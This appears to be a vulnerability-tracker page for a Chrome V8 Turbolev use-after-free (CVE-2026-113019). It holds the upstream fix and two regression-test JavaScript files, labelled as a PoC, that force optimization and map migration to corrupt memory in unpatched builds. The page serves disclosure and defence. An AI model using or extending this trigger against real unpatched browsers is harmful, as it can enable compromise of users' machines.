Chrome · Turbolev › Turbolev
CVE-2026-113019
UAF in Turbolev (Turbolev)
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
Dtest/mjsunit/regress/regress-570003644-1.js |
modified | |
constructortest/mjsunit/regress/regress-570003644-1.js |
modified | |
Ctest/mjsunit/regress/regress-570003644-1.js |
modified | |
Dtest/mjsunit/regress/regress-570003644-2.js |
modified | |
constructortest/mjsunit/regress/regress-570003644-2.js |
modified | |
Ctest/mjsunit/regress/regress-570003644-2.js |
modified |
Files Changed
test/mjsunit/regress/regress-570003644-2.jssrc/maglev/maglev-known-node-aspects.cctest/mjsunit/regress/regress-570003644-1.jssrc/maglev/maglev-known-node-aspects.h
Patch
From bd5b925e067872b0adab32e464647edf77f4d5d2 Mon Sep 17 00:00:00 2001
From: Marja Hölttä <marja@chromium.org>
Date: Fri, 09 Oct 2026 13:25:00 +0200
Subject: [PATCH] [turbolev] Migrations can change maps
We didn't realize that MigrateMapIfNeeded can change the map of an
object, so we cannot delete a CheckMaps after.
Triggering the problem case is quite involved, see
https://issues.chromium.org/u/1/issues/570003644#comment5 for a longer
explanation.
Fixed: 570003644
Change-Id: I4085564abce734aa20aa74a70c06e7d047dfd869
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8537446
Commit-Queue: Marja Hölttä <marja@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#110528}
---
diff --git a/src/maglev/maglev-known-node-aspects.cc b/src/maglev/maglev-known-node-aspects.cc
index 95988d2..743fc9f 100644
--- a/src/maglev/maglev-known-node-aspects.cc
+++ b/src/maglev/maglev-known-node-aspects.cc
@@ -666,22 +666,22 @@
StoreMap* node, bool is_tracing_enabled) {
if (!node->is_transitioning()) return;
- if (NodeInfo* node_info = TryGetInfoFor(node->ValueInput().node())) {
- if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() &&
- node_info->possible_maps().size() == 1) {
- compiler::MapRef old_map = node_info->possible_maps().at(0);
- auto MaybeAliases = [&](compiler::MapRef map) -> bool {
- return map.equals(old_map);
- };
- // Mark aliasing maps as stale.
- if (MarkMapsStaleIfAny(MaybeAliases)) {
- if (V8_UNLIKELY(v8_flags.trace_maglev_kna && is_tracing_enabled)) {
- std::cout << kRed << "[KNA] StoreMap: Invalidate alias "
- << Brief(*old_map.object()) << kReset << std::endl;
- }
- }
- return;
- }
+ if (MarkSingleMapAsStale(node->ValueInput().node(), is_tracing_enabled)) {
+ return;
+ }
+
+ // TODO(olivf): Only invalidate nodes with the same type.
+ OnSideEffect();
+ if (V8_UNLIKELY(v8_flags.trace_maglev_kna && is_tracing_enabled)) {
+ std::cout << kRed << "[KNA] StoreMap: Invalidate all unstable maps"
+ << kReset << std::endl;
+ }
+}
+
+void KnownNodeAspects::ClearUnstableNodeAspectsForMigration(
+ Node* node, bool is_tracing_enabled) {
+ if (MarkSingleMapAsStale(node->input_node(0), is_tracing_enabled)) {
+ return;
}
// TODO(olivf): Only invalidate nodes with the same type.
@@ -1023,6 +1023,28 @@
return {ContextStoreResult::kSetNewValue, std::move(aliased_slots)};
}
+bool KnownNodeAspects::MarkSingleMapAsStale(ValueNode* node,
+ bool is_tracing_enabled) {
+ if (NodeInfo* node_info = TryGetInfoFor(node)) {
+ if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() &&
+ node_info->possible_maps().size() == 1) {
+ compiler::MapRef old_map = node_info->possible_maps().at(0);
+ auto MaybeAliases = [&](compiler::MapRef map) -> bool {
+ return map.equals(old_map);
+ };
+ // Mark aliasing maps as stale.
+ if (MarkMapsStaleIfAny(MaybeAliases)) {
+ if (V8_UNLIKELY(v8_flags.trace_maglev_kna && is_tracing_enabled)) {
+ std::cout << kRed << "[KNA]: MarkSingleMapAsStale: Invalidate alias "
+ << Brief(*old_map.object()) << kReset << std::endl;
+ }
+ }
+ return true;
+ }
+ }
+ return false;
+}
+
#ifdef DEBUG
bool IsStringRootIndex(RootIndex index) {
if (index > RootIndex::kLastReadOnlyRoot) return false;
diff --git a/src/maglev/maglev-known-node-aspects.h b/src/maglev/maglev-known-node-aspects.h
index b7f0391..dd1ce8c 100644
--- a/src/maglev/maglev-known-node-aspects.h
+++ b/src/maglev/maglev-known-node-aspects.h
@@ -407,6 +407,8 @@
void ClearUnstableNodeAspectsForStoreMap(StoreMap* node,
bool is_tracing_enabled);
+ void ClearUnstableNodeAspectsForMigration(Node* node,
+ bool is_tracing_enabled);
void ClearUnstableNodeAspectsForElementsTransition(
const ZoneVector<compiler::MapRef>& transition_sources,
bool is_tracing_enabled);
@@ -824,8 +826,7 @@
std::is_same_v<NodeT,
CheckMapsWithMigrationAndDeopt> ||
std::is_same_v<NodeT, MigrateMapIfNeeded>) {
- // These instructions only migrate representations of values, not the
- // values themselves, so cached values are still valid.
+ ClearUnstableNodeAspectsForMigration(node, is_tracing_enabled);
} else if constexpr (std::is_same_v<NodeT, StoreMap>) {
ClearUnstableNodeAspectsForStoreMap(node, is_tracing_enabled);
} else if constexpr (std::is_same_v<NodeT, TransitionElementsKind> ||
@@ -910,6 +911,8 @@
SmallZoneVector<LoadedContextSlotsKey, 8> ClearAliasedContextSlotsFor(
Graph* graph, ValueNode* context, int offset, ValueNode* value);
+ bool MarkSingleMapAsStale(ValueNode* node, bool is_tracing_enabled);
+
static constexpr uint32_t kEffectEpochForPureInstructions =
std::numeric_limits<uint32_t>::max();
static constexpr uint32_t kEffectEpochOverflow =
diff --git a/test/mjsunit/regress/regress-570003644-1.js b/test/mjsunit/regress/regress-570003644-1.js
new file mode 100644
index 0000000..f56634f
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-1.js
@@ -0,0 +1,110 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+
+class D {
+ constructor(x) {
+ this.x = x;
+ this.p = 7;
+ this.q = 9;
+ }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+ constructor(z) {
+ this.z = z;
+ this.q = 11;
+ }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+ let n = 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+ noop(); // Not inlined
+ // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+ // order).
+ return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+ // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+ // pass already has MC2).
+ cObj.q;
+
+ // CheckMaps(MD1) dObj
+ dObj.p;
+
+ // Eagerly inlining polyQ. Here we need to conservatively assume that the noop
+ // call might change the maps, so we get:
+ // CallFunction noop
+ // MigrateMapIfNeeded dObj
+ // Polymoprhic branch (MC2, MD1):
+ // /-- Branch if dObj's map is MC2
+ // | |
+ // | v
+ // | CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+ // | |
+ // | v
+ // \--> Result unused, so this is empty
+ polyQ(dObj);
+
+ // The map better be MD1 or this goes wrong.
+ smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
diff --git a/test/mjsunit/regress/regress-570003644-2.js b/test/mjsunit/regress/regress-570003644-2.js
new file mode 100644
index 0000000..fe9c96d
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-2.js
@@ -0,0 +1,111 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+// Flags: --max-maglev-eager-inlined-bytecode-size=0
+
+class D {
+ constructor(x) {
+ this.x = x;
+ this.p = 7;
+ this.q = 9;
+ }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+ constructor(z) {
+ this.z = z;
+ this.q = 11;
+ }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+ let n = 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+ noop(); // Not inlined
+ // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+ // order).
+ return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+ // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+ // pass already has MC2).
+ cObj.q;
+
+ // CheckMaps(MD1) dObj
+ dObj.p;
+
+ // Eventually we'l inline polyQ here. Here we need to conservatively assume
+ // that the noop call might change the maps, so we get:
+ // CallFunction noop
+ // MigrateMapIfNeeded dObj
+ // Polymoprhic branch (MC2, MD1):
+ // /-- Branch if dObj's map is MC2
+ // | |
+ // | v
+ // | CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+ // | |
+ // | v
+ // \--> Result unused, so this is empty
+ polyQ(dObj);
+
+ // The map better be MD1 or this goes wrong.
+ smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/test/mjsunit/regress/regress-570003644-1.js b/test/mjsunit/regress/regress-570003644-1.js
new file mode 100644
index 0000000..f56634f
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-1.js
@@ -0,0 +1,110 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+
+class D {
+ constructor(x) {
+ this.x = x;
+ this.p = 7;
+ this.q = 9;
+ }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+ constructor(z) {
+ this.z = z;
+ this.q = 11;
+ }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+ let n = 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+ noop(); // Not inlined
+ // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+ // order).
+ return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+ // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+ // pass already has MC2).
+ cObj.q;
+
+ // CheckMaps(MD1) dObj
+ dObj.p;
+
+ // Eagerly inlining polyQ. Here we need to conservatively assume that the noop
+ // call might change the maps, so we get:
+ // CallFunction noop
+ // MigrateMapIfNeeded dObj
+ // Polymoprhic branch (MC2, MD1):
+ // /-- Branch if dObj's map is MC2
+ // | |
+ // | v
+ // | CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+ // | |
+ // | v
+ // \--> Result unused, so this is empty
+ polyQ(dObj);
+
+ // The map better be MD1 or this goes wrong.
+ smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
diff --git a/test/mjsunit/regress/regress-570003644-2.js b/test/mjsunit/regress/regress-570003644-2.js
new file mode 100644
index 0000000..fe9c96d
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-2.js
@@ -0,0 +1,111 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+// Flags: --max-maglev-eager-inlined-bytecode-size=0
+
+class D {
+ constructor(x) {
+ this.x = x;
+ this.p = 7;
+ this.q = 9;
+ }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+ constructor(z) {
+ this.z = z;
+ this.q = 11;
+ }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+ let n = 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ n += 0;
+ return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+ noop(); // Not inlined
+ // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+ // order).
+ return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+ // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+ // pass already has MC2).
+ cObj.q;
+
+ // CheckMaps(MD1) dObj
+ dObj.p;
+
+ // Eventually we'l inline polyQ here. Here we need to conservatively assume
+ // that the noop call might change the maps, so we get:
+ // CallFunction noop
+ // MigrateMapIfNeeded dObj
+ // Polymoprhic branch (MC2, MD1):
+ // /-- Branch if dObj's map is MC2
+ // | |
+ // | v
+ // | CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+ // | |
+ // | v
+ // \--> Result unused, so this is empty
+ polyQ(dObj);
+
+ // The map better be MD1 or this goes wrong.
+ smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page